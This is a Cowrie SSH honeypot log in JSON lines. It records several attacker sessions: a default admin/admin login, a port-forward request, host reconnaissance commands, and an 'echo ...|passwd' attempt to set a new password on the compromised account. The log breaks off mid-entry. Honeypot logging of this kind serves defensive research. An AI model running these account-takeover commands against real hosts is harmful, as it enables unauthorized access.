{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.194902Z","src_ip":"87.251.64.176","session":"e623165f93ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.484963Z","src_ip":"87.251.64.176","session":"e623165f93ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.582595Z","session":"e623165f93ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.664826Z","src_ip":"96.70.252.227","session":"a94d3653da5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.679255Z","src_ip":"87.251.64.176","session":"e623165f93ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.751572Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.754580Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.790471Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.907175Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"iamadmin\\noTmqK9ljeeoQ\\noTmqK9ljeeoQ\"|passwd|bash","message":"CMD: echo -e \"iamadmin\\noTmqK9ljeeoQ\\noTmqK9ljeeoQ\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.910113Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.913444Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.916933Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.927055Z","src_ip":"87.251.64.176","session":"e623165f93ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0195110815e526c17b55be3e62b78c3c1274c0e793556b969f424509d9dcf1fb","size":32,"shasum":"0195110815e526c17b55be3e62b78c3c1274c0e793556b969f424509d9dcf1fb","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/0195110815e526c17b55be3e62b78c3c1274c0e793556b969f424509d9dcf1fb after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.962403Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.077644Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"iamadmin\\noTmqK9ljeeoQ\\noTmqK9ljeeoQ\\n\"|passwd","message":"CMD: echo \"iamadmin\\noTmqK9ljeeoQ\\noTmqK9ljeeoQ\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.080643Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e59ea1dad7c3d45976659d82f0fa78acf7a820048849df4ef3c38637141b1278","size":25,"shasum":"e59ea1dad7c3d45976659d82f0fa78acf7a820048849df4ef3c38637141b1278","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/e59ea1dad7c3d45976659d82f0fa78acf7a820048849df4ef3c38637141b1278 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.123849Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.271749Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.274969Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.322305Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.456445Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.459272Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.501340Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.616395Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.619331Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.621660Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.663545Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.756422Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.759872Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.787110Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.918343Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.920936Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:44.958018Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.062736Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.066030Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.105645Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.224577Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.227663Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.268032Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.386201Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.388701Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.429516Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.545252Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.548674Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.582207Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.728575Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.732066Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.770763Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.873562Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.878211Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:45.914380Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.042848Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.046349Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.086564Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.205391Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.208960Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.251948Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:46.257362Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":50060,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea944bad211","protocol":"ssh","message":"New connection: 103.4.145.50:50060 (10.17.0.5:22) [session: 4ea944bad211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:47.727195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:47.731566Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 